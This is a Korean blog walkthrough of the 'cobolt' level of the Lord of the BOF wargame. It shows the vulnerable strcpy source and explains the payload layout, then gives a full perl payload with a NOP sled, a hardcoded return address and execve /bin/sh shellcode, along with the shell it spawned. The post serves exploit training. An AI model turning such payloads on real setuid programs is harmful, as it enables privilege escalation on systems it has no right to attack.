환경변수로 풀다가 안풀려서 다른방법으로 풀었는데
환경변수로 다시풀어보고 다른풀이가 있다면 추가적으로 올리도록 하겠습니다
소스를 보면
[gremlin@localhost gremlin]$ cat cobolt.c
/*
The Lord of the BOF : The Fellowship of the BOF
- cobolt
- small buffer
*/
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
gate 문제와 똑같지만 버퍼의크기가 작아져서 쉘코드를 직접적으로 넣어줄수 없는 상황입니다
따라서
| buf[16] |SFP| retn|
이런식으로 전개가 될텐데,
페이로드를
|1.nop(20byte) | retn | 2.nop | 쉘코드|
이런식으로 작성해주고, retn에 2.nop의 한부분의주소를 가리키게 한다면 이번 문제는 풀리게 됩니다
retn 에 들어가야할 주소를 모르므로 끝부분에 retn 에 필요한 주소를 알아내도록 소스를 추가해주면 ,
[gremlin@localhost /tmp]$ cat vi cobolt.c
cat: vi: No such file or directory
/*
The Lord of the BOF : The Fellowship of the BOF
- cobolt
- small buffer
*/
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
printf("0x%0x\n",&buffer[25]);
}
이렇게 됩니다.
굵은 부분으로 표시한 부분을 삽입해주게 되면 25번쨰의 주소를 뱉어주게 됩니다
따라서 작성한 페이로드에서 retn 부분만 우리가 모르는 상태였으므로 마저 채워주고 페이로드를 집어넣게되면
[gremlin@localhost gremlin]$ ./cobolt `perl -e 'print "\x90"x20,"\xe1\xf6\xff\xbf","\x90"x1000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
????????????????????囚퓧???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??
것
bash$ my-pass
euid = 502
hacking exposed
문제는 풀리게 됩니다 .
'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글
(LOB)Level6.wolfman (0) | 2014.08.11 |
---|---|
(LOB)Level5.orc (0) | 2014.08.11 |
(LOB)Level4.goblin (0) | 2014.08.11 |
(LOB)Level3.Cobolt (1) | 2014.08.10 |
(LOB)Level1. gate (0) | 2014.08.07 |